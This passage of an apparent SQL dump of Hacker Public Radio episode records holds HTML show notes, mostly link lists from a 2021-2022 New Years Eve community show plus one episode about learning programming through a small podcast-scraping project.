href=\"https://itsmoss.com/2021/12/22/installing-linux-on-a-thinkcentre-tiny-m700/\" class=\"uri\">https://itsmoss.com/2021/12/22/installing-linux-on-a-thinkcentre-tiny-m700/</a></p>\n<p>A Deeper Dive Into Funk Whale</p>\n<p><a href=\"https://funkwhale.audio/\" class=\"uri\">https://funkwhale.audio/</a></p>\n<p><a href=\"https://funkwhale.audio/en_GB/faqs#decentralized-and-federated\" class=\"uri\">https://funkwhale.audio/en_GB/faqs#decentralized-and-federated</a></p>\n<p><a href=\"https://wiki.archlinux.org/title/Funkwhale\" class=\"uri\">https://wiki.archlinux.org/title/Funkwhale</a></p>\n<p><a href=\"https://twitter.com/funkwhaleaudio\" class=\"uri\">https://twitter.com/funkwhaleaudio</a></p>\n<p>Peer Tube - Free software to take back control of your videos</p>\n<p><a href=\"https://joinpeertube.org/\" class=\"uri\">https://joinpeertube.org/</a></p>\n<p><a href=\"https://twitter.com/joinpeertube\" class=\"uri\">https://twitter.com/joinpeertube</a></p>\n<p>Joe and Danny talk 3-D Printing &amp; Core XY Printers</p>\n<p>Voron Design</p>\n<p><a href=\"https://vorondesign.com/\" class=\"uri\">https://vorondesign.com/</a></p>\n<p>The Best CoreXY 3D Printers in 2022</p>\n<p><a href=\"https://all3dp.com/1/best-corexy-3d-printer/\" class=\"uri\">https://all3dp.com/1/best-corexy-3d-printer/</a></p>\n<p>The Voron 2.4 Build Experience</p>\n<p><a href=\"https://youtu.be/0E0dM0ZdpRE\" class=\"uri\">https://youtu.be/0E0dM0ZdpRE</a></p>\n<p>Core XY Explained</p>\n<p><a href=\"https://youtu.be/_ramiM3KHYE\" class=\"uri\">https://youtu.be/_ramiM3KHYE</a></p>\n<p>Volcano Hot End &amp; Block</p>\n<p><a href=\"https://e3d-online.com/products/volcano-hotend\" class=\"uri\">https://e3d-online.com/products/volcano-hotend</a></p>\n<p><a href=\"https://e3d-online.com/products/volcano-block-for-sensor-cartridges\" class=\"uri\">https://e3d-online.com/products/volcano-block-for-sensor-cartridges</a></p>\n<p>CES 2022</p>\n<p><a href=\"https://www.ces.tech/About-CES.aspx\" class=\"uri\">https://www.ces.tech/About-CES.aspx</a></p>\n<p>Danny gives a thumbs up to the Android Playstation 2 Emulator - Aethersx2</p>\n<p><a href=\"https://play.google.com/store/apps/details?id=xyz.aethersx2.android\" class=\"uri\">https://play.google.com/store/apps/details?id=xyz.aethersx2.android</a></p>\n<p>X-Files : Resist Or Serve for the Playstation 2</p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_X-Files:_Resist_or_Serve\" class=\"uri\">https://en.wikipedia.org/wiki/The_X-Files:_Resist_or_Serve</a></p>\n<p>Walkthrough for X-Files : Resist Or Serve</p>\n<p><a href=\"https://youtu.be/_1DoMfufliQ\" class=\"uri\">https://youtu.be/_1DoMfufliQ</a></p>\n<p>PCSX2 - An Open-Source Playstation 2 Emulator supporting over 98% Of the PS2 library</p>\n<p><a href=\"https://pcsx2.net/\" class=\"uri\">https://pcsx2.net/</a></p>\n<p>GTA Vice City</p>\n<p><a href=\"https://www.rockstargames.com/games/vicecity\" class=\"uri\">https://www.rockstargames.com/games/vicecity</a></p>\n<p>Armored Core : Masters Of Arena</p>\n<p><a href=\"https://armoredcore.fandom.com/wiki/Armored_Core:_Master_of_Arena\" class=\"uri\">https://armoredcore.fandom.com/wiki/Armored_Core:_Master_of_Arena</a></p>\n<p><a href=\"http://www.cheatcodes.com/guide/walkthrough-armored-core-master-of-arena-playstation-16686/\" class=\"uri\">http://www.cheatcodes.com/guide/walkthrough-armored-core-master-of-arena-playstation-16686/</a></p>\n<p>Joe Has Some Tech Repairs to Do</p>\n<p>Playstation 3 that needs the optical drive repaired</p>\n<p><a href=\"https://www.ifixit.com/Guide/PlayStation+3+Blu-ray+Disc+Drive+Replacement/3484\" class=\"uri\">https://www.ifixit.com/Guide/PlayStation+3+Blu-ray+Disc+Drive+Replacement/3484</a></p>\n<p>Xbox 360 Drive replacement</p>\n<p><a href=\"https://www.ifixit.com/Guide/Xbox+360+Optical+Drive+Replacement/3358\" class=\"uri\">https://www.ifixit.com/Guide/Xbox+360+Optical+Drive+Replacement/3358</a></p>\n<p>Skullcandy HESH 3 Battery Replacement</p>\n<p><a href=\"https://youtu.be/PLM7wfTCzms\" class=\"uri\">https://youtu.be/PLM7wfTCzms</a> (generic headphone battery replacement video)</p>\n<p>LG Tone Repair</p>\n<p><a href=\"https://youtu.be/DJvzWsT_ESY\" class=\"uri\">https://youtu.be/DJvzWsT_ESY</a></p>\n<p>Open Razer</p>\n<p><a href=\"https://openrazer.github.io/\" class=\"uri\">https://openrazer.github.io/</a></p>\n<p>Clonezilla has built in SSH support</p>\n<p><a href=\"https://clonezilla.org/\" class=\"uri\">https://clonezilla.org/</a></p>\n<p>Radio Shack reviving, rebranding into cryptocurrency platform</p>\n<p><a href=\"https://www.foxbusiness.com/markets/radioshack-rebrands-cryptocurrency-exchange-platform\" class=\"uri\">https://www.foxbusiness.com/markets/radioshack-rebrands-cryptocurrency-exchange-platform</a></p>\n<p><a href=\"https://www.nbcnews.com/pop-culture/pop-culture-news/radioshack-clarify-twitter-wasnt-hacked-just-sell-crypto-now-rcna36112\" class=\"uri\">https://www.nbcnews.com/pop-culture/pop-culture-news/radioshack-clarify-twitter-wasnt-hacked-just-sell-crypto-now-rcna36112</a></p>\n<p>Deal Extreme</p>\n<p><a href=\"https://www.dx.com/\" class=\"uri\">https://www.dx.com/</a></p>\n<p>Brick &amp; Mortar Computer Stores Past &amp; Present</p>\n<p>COMP USA</p>\n<p><a href=\"https://www.compusa.com/\" class=\"uri\">https://www.compusa.com/</a></p>\n<p>Fry\'s Electronics</p>\n<p><a href=\"https://www.frys.com/\" class=\"uri\">https://www.frys.com/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Fry%27s_Electronics\" class=\"uri\">https://en.wikipedia.org/wiki/Fry%27s_Electronics</a></p>\n<p>Micro Center</p>\n<p><a href=\"https://www.microcenter.com/\" class=\"uri\">https://www.microcenter.com/</a></p>\n<p>Tiger Direct</p>\n<p><a href=\"https://www.tigerdirect.com/\" class=\"uri\">https://www.tigerdirect.com/</a></p>\n<p>Ben Heck &amp; Oscilloscopes</p>\n<p><a href=\"https://youtu.be/RuC8XmDX9iA\" class=\"uri\">https://youtu.be/RuC8XmDX9iA</a></p>\n<p>Mordancy has projects</p>\n<p><a href=\"https://www.proxmox.com/en/\" class=\"uri\">https://www.proxmox.com/en/</a></p>\n<p><a href=\"https://www.docker.com/\" class=\"uri\">https://www.docker.com/</a></p>\n<p><a href=\"https://jitsi.org/\" class=\"uri\">https://jitsi.org/</a></p>\n<p><a href=\"https://joinpeertube.org/\" class=\"uri\">https://joinpeertube.org/</a></p>\n<p><a href=\"https://matrix.org/\" class=\"uri\">https://matrix.org/</a></p>\n<p><a href=\"https://bitbucket.org/product\" class=\"uri\">https://bitbucket.org/product</a></p>\n<p>F(x)tec Pro&#xB9; Phone</p>\n<p><a href=\"https://www.fxtec.com/\" class=\"uri\">https://www.fxtec.com/</a></p>\n<p>Joe and Mordancy chat Cryptocurrency</p>\n<p><a href=\"https://www.investopedia.com/terms/c/cryptocurrency.asp\" class=\"uri\">https://www.investopedia.com/terms/c/cryptocurrency.asp</a></p>\n<p>Nishant gives up Windows for Fedora</p>\n<p><a href=\"https://getfedora.org/en/workstation/download/\" class=\"uri\">https://getfedora.org/en/workstation/download/</a></p>\n<p>Linux LPIC Certifications</p>\n<p><a href=\"https://www.lpi.org/our-certifications/summary-of-certifications\" class=\"uri\">https://www.lpi.org/our-certifications/summary-of-certifications</a></p>\n<p><a href=\"https://www.lpi.org/our-certifications/lpic-1-overview\" class=\"uri\">https://www.lpi.org/our-certifications/lpic-1-overview</a></p>\n<p><a href=\"https://www.lpi.org/our-certifications/lpic-2-overview\" class=\"uri\">https://www.lpi.org/our-certifications/lpic-2-overview</a></p>\n<p>ITIL Certification</p>\n<p><a href=\"https://www.axelos.com/certifications/itil-service-management\" class=\"uri\">https://www.axelos.com/certifications/itil-service-management</a></p>\n<p>3M PELTOR ComTac&#x2122; VI Hearing Defender</p>\n<p><a href=\"https://www.3m.com/3M/en_US/p/d/v100849027/\" class=\"uri\">https://www.3m.com/3M/en_US/p/d/v100849027/</a></p>\n<p>TP-120 Socket</p>\n<p><a href=\"https://connectors.nexus.com/item/telephone-plugs-and-jacks/telephone-plugs/tp-120\" class=\"uri\">https://connectors.nexus.com/item/telephone-plugs-and-jacks/telephone-plugs/tp-120</a></p>\n<p>Fluke 107 Pocket Digital Multimeter</p>\n<p><a href=\"https://www.fluke.com/en-us/product/electrical-testing/digital-multimeters/pocket-107\" class=\"uri\">https://www.fluke.com/en-us/product/electrical-testing/digital-multimeters/pocket-107</a></p>\n<p>Razer Nari Ultimate Headset</p>\n<p><a href=\"https://www.razer.com/gaming-headsets/razer-nari-ultimate/RZ04-02670100-R3U1\" class=\"uri\">https://www.razer.com/gaming-headsets/razer-nari-ultimate/RZ04-02670100-R3U1</a></p>\n<p>Garuda Linux</p>\n<p><a href=\"https://garudalinux.org/\" class=\"uri\">https://garudalinux.org/</a></p>\n<p>Centos</p>\n<p><a href=\"https://www.centos.org/\" class=\"uri\">https://www.centos.org/</a></p>\n<p>FreeBSD</p>\n<p><a href=\"https://www.freebsd.org/\" class=\"uri\">https://www.freebsd.org/</a></p>\n<p>Q-tile - A full-featured, hackable tiling window manager written and configured in Python</p>\n<p><a href=\"http://www.qtile.org/\" class=\"uri\">http://www.qtile.org/</a></p>\n<p>Adam WIlliamson - Fedora Team</p>\n<p><a href=\"https://fedoraproject.org/wiki/User:Adamwill\" class=\"uri\">https://fedoraproject.org/wiki/User:Adamwill</a></p>\n<p><a href=\"https://www.happyassassin.net/\" class=\"uri\">https://www.happyassassin.net/</a></p>\n<p><a href=\"https://twitter.com/adamw_ha\" class=\"uri\">https://twitter.com/adamw_ha</a></p>\n<p><a href=\"https://fedoramagazine.org/fedora-qa-adam-williamson/\" class=\"uri\">https://fedoramagazine.org/fedora-qa-adam-williamson/</a></p>\n<p>Raspberry Pi Price Jump</p>\n<p><a href=\"https://www.tomshardware.com/news/raspberry-pi-4-supply-issues\" class=\"uri\">https://www.tomshardware.com/news/raspberry-pi-4-supply-issues</a></p>\n<p>Headphone Repair Chat</p>\n<p>BeyerDynamic DT770</p>\n<p><a href=\"https://www.sweetwater.com/store/detail/DT770pro80--beyerdynamic-dt-770-pro-80-ohm-closed-back-studio-mixing-headphones\" class=\"uri\">https://www.sweetwater.com/store/detail/DT770pro80--beyerdynamic-dt-770-pro-80-ohm-closed-back-studio-mixing-headphones</a></p>\n<p>Audio Technica ATH-M50X</p>\n<p><a href=\"https://www.audio-technica.com/en-us/ath-m50x\" class=\"uri\">https://www.audio-technica.com/en-us/ath-m50x</a></p>\n<p>HP Thin Client Model T6xx (watch for them on Ebay)</p>\n<p><a href=\"https://support.hp.com/us-en/document/c06433828\" class=\"uri\">https://support.hp.com/us-en/document/c06433828</a></p>\n<p>Firefox Phone</p>\n<p><a href=\"https://firefoxosdevices.org/en/#type:smartphones\" class=\"uri\">https://firefoxosdevices.org/en/#type:smartphones</a>|coming-devices:yes</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Firefox_OS\" class=\"uri\">https://en.wikipedia.org/wiki/Firefox_OS</a></p>\n<p>Love 2D Gaming Engine</p>\n<p><a href=\"https://love2d.org/\" class=\"uri\">https://love2d.org/</a></p>\n<p>Roblox</p>\n<p><a href=\"https://www.roblox.com/\" class=\"uri\">https://www.roblox.com/</a></p>\n<p>Minecraft</p>\n<p><a href=\"https://www.minecraft.net/en-us\" class=\"uri\">https://www.minecraft.net/en-us</a></p>\n<p>Alpine Linux</p>\n<p><a href=\"https://www.alpinelinux.org/\" class=\"uri\">https://www.alpinelinux.org/</a></p>\n<p>Rick &amp; Morty</p>\n<p><a href=\"https://rickandmorty.fandom.com/wiki/Rick_and_Morty_(TV_series)\" class=\"uri\">https://rickandmorty.fandom.com/wiki/Rick_and_Morty_(TV_series)</a></p>\n<p>Gravity Falls</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Gravity_Falls\" class=\"uri\">https://en.wikipedia.org/wiki/Gravity_Falls</a></p>\n<p>Final Space</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Final_Space\" class=\"uri\">https://en.wikipedia.org/wiki/Final_Space</a></p>\n<p>Peter Cushing Dr. Who movies</p>\n<p><a href=\"https://tardis.fandom.com/wiki/Peter_Cushing\" class=\"uri\">https://tardis.fandom.com/wiki/Peter_Cushing</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Dr._Who_and_the_Daleks\" class=\"uri\">https://en.wikipedia.org/wiki/Dr._Who_and_the_Daleks</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Daleks%27_Invasion_Earth_2150_A.D\" class=\"uri\">https://en.wikipedia.org/wiki/Daleks%27_Invasion_Earth_2150_A.D</a>.</p>\n<p>Blake\'s 7</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Blake%27s_7\" class=\"uri\">https://en.wikipedia.org/wiki/Blake%27s_7</a></p>\n<p>Gorillaz - Clint Eastwood</p>\n<p><a href=\"https://youtu.be/1V_xRb0x9aw\" class=\"uri\">https://youtu.be/1V_xRb0x9aw</a></p>\n',159,121,1,'CC-BY-SA','HPR, New Years, Talking',0,0,1),
(3656,'2022-08-08','Importance of Small toy projects',1149,'Toy projects are a great way to learn a new language, and a project I did just for fun.','<h2 id=\"importance-of-small-toy-projects\">Importance of Small toy projects</h2>\n<p>Inspired by</p>\n<ul>\n<li><a href=\"https://talkpython.fm/episodes/transcript/327/little-automation-tools-in-python\" class=\"uri\">https://talkpython.fm/episodes/transcript/327/little-automation-tools-in-python</a>\n<ul>\n<li>Automating little things</li>\n</ul></li>\n<li>hpr3558 :: How I\'m learning Haskell\n<ul>\n<li>The Host talks about learning Haskell and says something like</li>\n<li>Finishing a small project is better than Starting a big project and not completing it.</li>\n<li>And You can not learn to code by reading, you need practice</li>\n</ul></li>\n</ul>\n<h3 id=\"my-recommendation-for-learning-a-new-language.\">My recommendation for learning a new language.</h3>\n<ol type=\"1\">\n<li>Think about a small problem you want to solve with code.</li>\n<li>Start banging away at it.</li>\n<li>Redo over and over, its OK</li>\n<li>Same project but better</li>\n<li>Learn new tech and practice</li>\n</ol>\n<h3 id=\"an-example-of-one-of-my-small-projects\">An example of one of my small projects</h3>\n<ul>\n<li>Original intent of my podfaded project\n<ul>\n<li>Mostly Tech/Linux podcasts</li>\n<li>Find every podcast I could</li>\n<li>Track release cadence</li>\n<li>Rate how podfaded the feed is</li>\n<li>Use search API to find RSS feeds</li>\n</ul></li>\n</ul>\n<h3 id=\"first-attempt-plan\">First attempt plan</h3>\n<ul>\n<li>Scrape podcast networks\n<ul>\n<li>used beautiful soup - something I wanted to learn anyway</li>\n<li>HTML\n<ul>\n<li>Jinja templating - something I wanted to learn anyway</li>\n<li>Bootstrap - something I wanted to learn anyway</li>\n<li>Different colors based on how podfaded</li>\n</ul></li>\n</ul></li>\n</ul>\n<h3 id=\"first-attempt-problems\">First attempt problems</h3>\n<ul>\n<li>individual script per network</li>\n<li>4-5 different scripts</li>\n<li>took forever to run</li>\n<li>Broke when networks changed their page layout</li>\n</ul>\n<h3 id=\"redo\">Redo</h3>\n<ul>\n<li>Test Driven Development and pytest\n<ul>\n<li>Red Green Refactor</li>\n<li>Confidence to change code</li>\n</ul></li>\n<li>Simplify - one scrapper script</li>\n<li>Embed audio player for latest episode</li>\n</ul>\n<h3 id=\"how-it-works---scraping-pages-for-feeds\">How it works - Scraping pages for feeds</h3>\n<ul>\n<li><code>scrape_for_feeds.py</code></li>\n<li>Provide a list of websites that have lists of podcasts</li>\n<li>Search the page for any links</li>\n<li>Check if the feed is valid by trying to parse it with <code>feedparser</code></li>\n<li>Add feed to database</li>\n</ul>\n<h3 id=\"podcasts-pages-i-scrape\">Podcasts pages I scrape</h3>\n<ul>\n<li><a href=\"https://wiki.ubuntu.com/Podcasts\" class=\"uri\">https://wiki.ubuntu.com/Podcasts</a></li>\n<li><a href=\"http://www.thelinuxlink.net\" class=\"uri\">http://www.thelinuxlink.net</a></li>\n<li><a href=\"http://freeculturepodcasts.org\" class=\"uri\">http://freeculturepodcasts.org</a></li>\n</ul>\n<h3 id=\"how-it-works---checking-the-feeds\">How it works - Checking the feeds</h3>\n<ul>\n<li><code>feed_info.py</code></li>\n<li>loop through feeds</li>\n<li>use <code>feedparser</code> to find latest episode\n<ul>\n<li>title and enclosure (audio file)</li>\n</ul></li>\n</ul>\n<h3 id=\"html-output\">HTML Output</h3>\n<ul>\n<li><a href=\"https://podfaded.norrist.xyz/\" class=\"uri\">https://podfaded.norrist.xyz/</a></li>\n<li>Currently hosted on a Free Tier VPS</li>\n<li>No Promises it will be there forever</li>\n</ul>\n<h3 id=\"feedback-welcome\">Feedback Welcome</h3>\n<ul>\n<li><a href=\"https://gitlab.com/norrist/podfaded2\" class=\"uri\">https://gitlab.com/norrist/podfaded2</a></li>\n<li>Bugs\n<ul>\n<li>Sometimes the title is missing, so some of the CSS coloring doesn\'t work</li>\n<li>Excluded podcasts still occasionally show up on the list</li>\n</ul></li>\n<li>Looking for more curated lists of podcast pages\n<ul>\n<li>not search sites</li>\n</ul></li>\n<li>Maybe scrape HPR podcast recommendation episodes</li>\n</ul>\n<p><em>Example</em><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3656/podfaded.png\" alt=\"Example\" /></p>\n',342,0,0,'CC-BY-SA','python, programming',0,0,1),
(3672,'2022-08-30','2021-2022 New Years Show Part 3',11934,'The HPR community comes together to chat','<h2 id=\"hacker-public-radio-new-years-eve-show-2021---2022\">Hacker Public Radio New Years Eve Show 2021 - 2022</h2>\n<h3 id=\"part-3\">Part 3</h3>\n<p>WebRTC with RPi Zero - resolution of the ribbon cable camera could be better.</p>\n<p>Tried without success: uv4l (h264) <a href=\"https://www.linux-projects.org\" class=\"uri\">https://www.linux-projects.org</a></p>\n<p>Raspberry Pi Zero</p>\n<p><a href=\"https://www.raspberrypi.com/products/raspberry-pi-zero/\" class=\"uri\">https://www.raspberrypi.com/products/raspberry-pi-zero/</a></p>\n<p>ESP 32 Camera</p>\n<p><a href=\"https://makeradvisor.com/esp32-camera-cam-boards-review-comparison/\" class=\"uri\">https://makeradvisor.com/esp32-camera-cam-boards-review-comparison/</a></p>\n<p>CHDK - Canon Hack Development Kit</p>\n<p><a href=\"https://chdk.fandom.com/wiki/CHDK\" class=\"uri\">https://chdk.fandom.com/wiki/CHDK</a></p>\n<p>uStreamer (mjpg stream) <a href=\"https://github.com/pikvm/ustreamer\" class=\"uri\">https://github.com/pikvm/ustreamer</a></p>\n<p>PiKrellCam (mjpeg stream) <a href=\"https://billw2.github.io/pikrellcam/pikrellcam.html\" class=\"uri\">https://billw2.github.io/pikrellcam/pikrellcam.html</a></p>\n<p>to forward H264 instead of mjpeg</p>\n<p>WebRTC-streamer <a href=\"https://github.com/mpromonet/webrtc-streamer\" class=\"uri\">https://github.com/mpromonet/webrtc-streamer</a></p>\n<p>WebRTC streamer (RWS) <a href=\"https://github.com/kclyu/rpi-webrtc-streamer\" class=\"uri\">https://github.com/kclyu/rpi-webrtc-streamer</a></p>\n<p>CET Germany and 45 more Brussels, Madrid, Paris, Rome, Algiers</p>\n<p>Moss talks about investing with Robin Hood</p>\n<p><a href=\"https://robinhood.com/us/en/\" class=\"uri\">https://robinhood.com/us/en/</a></p>\n<p>Robin Hood Controversy With Game Stop</p>\n<p><a href=\"https://www.nytimes.com/2021/02/18/business/gamestop-robinhood-hearing.html\" class=\"uri\">https://www.nytimes.com/2021/02/18/business/gamestop-robinhood-hearing.html</a></p>\n<p>FOSS North</p>\n<p><a href=\"https://foss-north.se/\" class=\"uri\">https://foss-north.se/</a></p>\n<p>The Grahm Norton Show</p>\n<p><a href=\"https://www.bbc.co.uk/programmes/b006xnzc\" class=\"uri\">https://www.bbc.co.uk/programmes/b006xnzc</a></p>\n<p>Stephen Colbert</p>\n<p><a href=\"https://www.cbs.com/shows/the-late-show-with-stephen-colbert/\" class=\"uri\">https://www.cbs.com/shows/the-late-show-with-stephen-colbert/</a></p>\n<p>Jon Stewart</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Jon_Stewart\" class=\"uri\">https://en.wikipedia.org/wiki/Jon_Stewart</a></p>\n<p>Highest Point in the Netherlands</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Vaalserberg\" class=\"uri\">https://en.wikipedia.org/wiki/Vaalserberg</a></p>\n<p>Seinfeld TV Show</p>\n<p><a href=\"https://www.imdb.com/title/tt0098904/\" class=\"uri\">https://www.imdb.com/title/tt0098904/</a></p>\n<p>Big Bang Theory</p>\n<p><a href=\"https://www.imdb.com/title/tt0898266/\" class=\"uri\">https://www.imdb.com/title/tt0898266/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Big_Bang_Theory\" class=\"uri\">https://en.wikipedia.org/wiki/The_Big_Bang_Theory</a></p>\n<p>Joe Talks Installing Linux on Tablets</p>\n<p>ASUS Transformer Line - where Joe started his journey with installing Linux on tablets</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Asus_Transformer\" class=\"uri\">https://en.wikipedia.org/wiki/Asus_Transformer</a></p>\n<p>Dell Tablets</p>\n<p><a href=\"https://www.dell.com/en-us/shop/handhelds-tablet-pcs/ac/4327\" class=\"uri\">https://www.dell.com/en-us/shop/handhelds-tablet-pcs/ac/4327</a></p>\n<p><a href=\"https://i.dell.com/sites/doccontent/corporate/secure/en/Documents/dell-venue-11pro-brochure.pdf\" class=\"uri\">https://i.dell.com/sites/doccontent/corporate/secure/en/Documents/dell-venue-11pro-brochure.pdf</a></p>\n<p><a href=\"https://www.dell.com/support/home/en-us/product-support/product/dell-venue-11i-pro/overview\" class=\"uri\">https://www.dell.com/support/home/en-us/product-support/product/dell-venue-11i-pro/overview</a></p>\n<p><a href=\"https://www.dell.com/support/manuals/en-us/dell-venue-11-pro-7000-7140/dell_venue11pro_7140_ug-v1/specifications?guid=guid-ed3189c3-1247-45a2-8265-e9851188ff3e\" class=\"uri\">https://www.dell.com/support/manuals/en-us/dell-venue-11-pro-7000-7140/dell_venue11pro_7140_ug-v1/specifications?guid=guid-ed3189c3-1247-45a2-8265-e9851188ff3e</a></p>\n<p>Installing Linux On Chromebooks</p>\n<p><a href=\"https://itsfoss.com/install-linux-chromebook/\" class=\"uri\">https://itsfoss.com/install-linux-chromebook/</a></p>\n<p><a href=\"https://www.pcmag.com/how-to/install-linux-on-your-chromebook\" class=\"uri\">https://www.pcmag.com/how-to/install-linux-on-your-chromebook</a></p>\n<p>Netherlands Vs. Holland - Whats the difference?</p>\n<p><a href=\"https://www.holland.com/global/tourism/information/general/netherlands-vs-holland.htm\" class=\"uri\">https://www.holland.com/global/tourism/information/general/netherlands-vs-holland.htm</a></p>\n<p>Mark Shuttleworth</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Mark_Shuttleworth\" class=\"uri\">https://en.wikipedia.org/wiki/Mark_Shuttleworth</a></p>\n<p><a href=\"https://www.markshuttleworth.com/\" class=\"uri\">https://www.markshuttleworth.com/</a></p>\n<p>Endless OS</p>\n<p><a href=\"https://endlessos.com/home/\" class=\"uri\">https://endlessos.com/home/</a></p>\n<p><a href=\"https://distrowatch.com/table.php?distribution=endless\" class=\"uri\">https://distrowatch.com/table.php?distribution=endless</a></p>\n<p>Hannah Montana Linux</p>\n<p><a href=\"http://hannahmontana.sourceforge.net/\" class=\"uri\">http://hannahmontana.sourceforge.net/</a></p>\n<p>Ittoqqortoormiit is in Greenland</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Ittoqqortoormiit\" class=\"uri\">https://en.wikipedia.org/wiki/Ittoqqortoormiit</a></p>\n<p><a href=\"https://visitgreenland.com/destinations/ittoqqortoormiit/\" class=\"uri\">https://visitgreenland.com/destinations/ittoqqortoormiit/</a></p>\n<p>Joe Suggests Reading Brandon Sanderson</p>\n<p><a href=\"https://www.brandonsanderson.com/\" class=\"uri\">https://www.brandonsanderson.com/</a></p>\n<p>How Did Napoleon Influence What Side of the Road We Drive On Today?</p>\n<p><a href=\"https://nationalmotormuseum.org.uk/ufaqs/why-do-we-drive-on-the-left-side-of-the-road-in-the-uk-but-most-other-countries-drive-on-the-right/\" class=\"uri\">https://nationalmotormuseum.org.uk/ufaqs/why-do-we-drive-on-the-left-side-of-the-road-in-the-uk-but-most-other-countries-drive-on-the-right/</a></p>\n<p>The War of 1812</p>\n<p><a href=\"https://www.history.com/topics/war-of-1812/war-of-1812\" class=\"uri\">https://www.history.com/topics/war-of-1812/war-of-1812</a></p>\n<p>American Doesn\'t Use the Metric System Because of Pirates?</p>\n<p><a href=\"https://www.washingtonpost.com/news/speaking-of-science/wp/2017/09/19/pirates-yes-pirates-may-be-why-the-u-s-doesnt-use-the-metric-system/\" class=\"uri\">https://www.washingtonpost.com/news/speaking-of-science/wp/2017/09/19/pirates-yes-pirates-may-be-why-the-u-s-doesnt-use-the-metric-system/</a></p>\n<p>Transcontinental Railroad</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Transcontinental_railroad\" class=\"uri\">https://en.wikipedia.org/wiki/Transcontinental_railroad</a></p>\n<p>Dutch East India Company</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Dutch_East_India_Company\" class=\"uri\">https://en.wikipedia.org/wiki/Dutch_East_India_Company</a></p>\n<p>Dutch Saint Nicholas / Christmas In The Netherlands</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Sinterklaas\" class=\"uri\">https://en.wikipedia.org/wiki/Sinterklaas</a></p>\n<p><a href=\"https://www.whychristmas.com/cultures/netherlands\" class=\"uri\">https://www.whychristmas.com/cultures/netherlands</a></p>\n<p>Rio Grande River Damns</p>\n<p><a href=\"https://en.wikipedia.org/wiki/List_of_Rio_Grande_dams_and_diversions\" class=\"uri\">https://en.wikipedia.org/wiki/List_of_Rio_Grande_dams_and_diversions</a></p>\n<p>Hurricane Harvey &amp; Katrina</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Hurricane_Katrina\" class=\"uri\">https://en.wikipedia.org/wiki/Hurricane_Katrina</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Hurricane_Harvey\" class=\"uri\">https://en.wikipedia.org/wiki/Hurricane_Harvey</a></p>\n<p>How Much Of The Netherlands Is Below Sea Level</p>\n<p><a href=\"https://www.holland.com/global/tourism/information/general/dutch-water-facts.htm\" class=\"uri\">https://www.holland.com/global/tourism/information/general/dutch-water-facts.htm</a></p>\n<p>Chicago Is Sinking</p>\n<p><a href=\"https://www.smithsonianmag.com/smart-news/chicago-can-blame-glaciers-sinking-city-180971643/\" class=\"uri\">https://www.smithsonianmag.com/smart-news/chicago-can-blame-glaciers-sinking-city-180971643/</a></p>\n<p><a href=\"https://www.nytimes.com/interactive/2021/07/07/climate/chicago-river-lake-michigan.html\" class=\"uri\">https://www.nytimes.com/interactive/2021/07/07/climate/chicago-river-lake-michigan.html</a></p>\n<p>Rotterdamn - The Largest Harbor in Europe</p>\n<p><a href=\"https://www.shipafreight.com/knowledge-series/largest-ports-in-europe/\" class=\"uri\">https://www.shipafreight.com/knowledge-series/largest-ports-in-europe/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Port_of_Rotterdam\" class=\"uri\">https://en.wikipedia.org/wiki/Port_of_Rotterdam</a></p>\n<p>Zeeland</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Zeeland\" class=\"uri\">https://en.wikipedia.org/wiki/Zeeland</a></p>\n<p><a href=\"https://www.holland.com/global/tourism/destinations/provinces/zeeland.htm\" class=\"uri\">https://www.holland.com/global/tourism/destinations/provinces/zeeland.htm</a></p>\n<p>Frisian Languages</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Frisian_languages\" class=\"uri\">https://en.wikipedia.org/wiki/Frisian_languages</a></p>\n<p><a href=\"https://www.babbel.com/en/magazine/what-is-frisian\" class=\"uri\">https://www.babbel.com/en/magazine/what-is-frisian</a></p>\n',159,121,1,'CC-BY-SA','HPR, New Years, Talking',0,0,1),
(3677,'2022-09-06','2021-2022 New Years Show Part 4',11653,'The HPR community comes together to chat','<h2 id=\"hacker-public-radio-new-years-eve-show-2021---2022\">Hacker Public Radio New Years Eve Show 2021 - 2022</h2>\n<h3 id=\"part-4\">Part 4</h3>\n<p>Star Wars : The Bad Batch</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Star_Wars:_The_Bad_Batch\" class=\"uri\">https://en.wikipedia.org/wiki/Star_Wars:_The_Bad_Batch</a></p>\n<p><a href=\"https://www.starwars.com/series/star-wars-the-bad-batch\" class=\"uri\">https://www.starwars.com/series/star-wars-the-bad-batch</a></p>\n<p>Star Wars Rebels</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Star_Wars_Rebels\" class=\"uri\">https://en.wikipedia.org/wiki/Star_Wars_Rebels</a></p>\n<p><a href=\"https://www.starwars.com/series/star-wars-rebels\" class=\"uri\">https://www.starwars.com/series/star-wars-rebels</a></p>\n<p>Star Wars - The Clone Wars</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Star_Wars:_The_Clone_Wars_(2008_TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Star_Wars:_The_Clone_Wars_(2008_TV_series)</a></p>\n<p><a href=\"https://www.starwars.com/series/star-wars-the-clone-wars\" class=\"uri\">https://www.starwars.com/series/star-wars-the-clone-wars</a></p>\n<p>Star Wars - Book Of Boba Fett</p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Book_of_Boba_Fett\" 